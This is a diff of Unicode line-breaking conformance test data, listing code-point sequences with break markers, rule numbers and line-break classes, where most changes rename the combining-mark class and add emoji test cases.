-× 0021 × 0308 ÷ 1F1E6 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0021 × 0308 ÷ 1F1E6 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0021 ÷ 261D ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0021 × 0020 ÷ 261D ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0021 × 0308 ÷ 261D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 261D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0021 ÷ 1F3FB ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0021 × 0020 ÷ 1F3FB ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0021 × 0308 ÷ 1F3FB ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0021 × 0001 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0021 × 0020 ÷ 0001 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0021 × 0308 × 0001 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0021 × 200D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0021 × 0020 ÷ 200D ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0021 × 0308 × 200D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 200D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 0021 ÷ 00A7 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0021 × 0020 ÷ 00A7 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0021 × 0308 ÷ 00A7 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0021 × 0308 ÷ 00A7 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0021 ÷ 50005 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0021 × 0020 ÷ 50005 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0021 × 0308 ÷ 50005 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0021 × 0308 ÷ 50005 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0021 ÷ 0E01 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0021 × 0020 ÷ 0E01 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0021 × 0308 ÷ 0E01 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0021 × 0308 ÷ 0E01 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0021 × 3041 ÷ # × [0.3] EXCLAMATION MARK (EX) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0021 × 0020 ÷ 3041 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0021 × 0308 × 3041 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0021 × 0308 × 3041 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 00A0 × 0023 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] NUMBER SIGN (AL) ÷ [0.3]
× 00A0 × 0020 ÷ 0023 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 00A0 × 0308 × 0023 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] NUMBER SIGN (AL) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 00A0 × 0308 × 0023 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] NUMBER SIGN (AL) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 00A0 × 2014 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] EM DASH (B2) ÷ [0.3]
× 00A0 × 0020 ÷ 2014 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 00A0 × 0308 × 2014 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] EM DASH (B2) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 00A0 × 0308 × 2014 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] EM DASH (B2) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 00A0 × 0009 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 00A0 × 0020 ÷ 0009 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 00A0 × 0308 × 0009 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 00A0 × 0308 × 0009 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 00A0 × 00B4 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] ACUTE ACCENT (BB) ÷ [0.3]
× 00A0 × 0020 ÷ 00B4 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 00A0 × 0308 × 00B4 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 00A0 × 0308 × 00B4 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 00A0 × 000B ÷ # × [0.3] NO-BREAK SPACE (GL) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 00A0 × 0020 × 000B ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 00A0 × 0308 × 000B ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 000B ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 00A0 × 0308 × 000B ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 000B ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 00A0 × FFFC ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 00A0 × 0020 ÷ FFFC ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 00A0 × 0308 × FFFC ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 00A0 × 0308 × FFFC ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 00A0 × 007D ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 00A0 × 0020 × 007D ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 00A0 × 0308 × 007D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 007D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 00A0 × 0308 × 007D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 007D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 00A0 × 0029 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 00A0 × 0020 × 0029 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 00A0 × 0308 × 0029 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 0029 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 00A0 × 0001 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 00A0 × 0020 ÷ 0001 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 00A0 × 0308 × 0001 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 00A0 × 0308 × 0029 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 0029 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 00A0 × 000D ÷ # × [0.3] NO-BREAK SPACE (GL) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 00A0 × 0020 × 000D ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 00A0 × 0308 × 000D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 000D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 00A0 × 0308 × 000D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 000D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 00A0 × 0021 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] EXCLAMATION MARK (EX) ÷ [0.3]
× 00A0 × 0020 × 0021 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 00A0 × 0308 × 0021 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] EXCLAMATION MARK (EX) ÷ [0.3]
-× 00A0 × 0308 × 0020 × 0021 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 00A0 × 0308 × 0021 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] EXCLAMATION MARK (EX) ÷ [0.3]
+× 00A0 × 0308 × 0020 × 0021 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 00A0 × 00A0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 00A0 × 0020 ÷ 00A0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 00A0 × 0308 × 00A0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 00A0 × 0308 × 00A0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 00A0 × AC00 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 00A0 × 0020 ÷ AC00 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 00A0 × 0308 × AC00 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 00A0 × 0308 × AC00 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 00A0 × AC01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 00A0 × 0020 ÷ AC01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 00A0 × 0308 × AC01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 00A0 × 0308 × AC01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 00A0 × 05D0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 00A0 × 0020 ÷ 05D0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 00A0 × 0308 × 05D0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 00A0 × 0308 × 05D0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 00A0 × 002D ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 00A0 × 0020 ÷ 002D ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 00A0 × 0308 × 002D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 002D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 00A0 × 0308 × 002D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 002D ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 00A0 × 231A ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] WATCH (ID) ÷ [0.3]
× 00A0 × 0020 ÷ 231A ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 00A0 × 0308 × 231A ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [12.0] WATCH (ID) ÷ [0.3]
-× 00A0 × 0308 × 0020 ÷ 231A ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 00A0 × 0308 × 231A ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.0] WATCH (ID) ÷ [0.3]
+× 00A0 × 0308 × 0020 ÷ 231A ÷ # × [0.3] NO-BREAK SPACE (GL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 00A0 × 2024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [12.0] ONE DOT LEADER (IN) ÷ [0.3]
× 00A0 × 0020 ÷ 2024 ÷ # × [0.3] NO-BREAK SPACE (GL) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
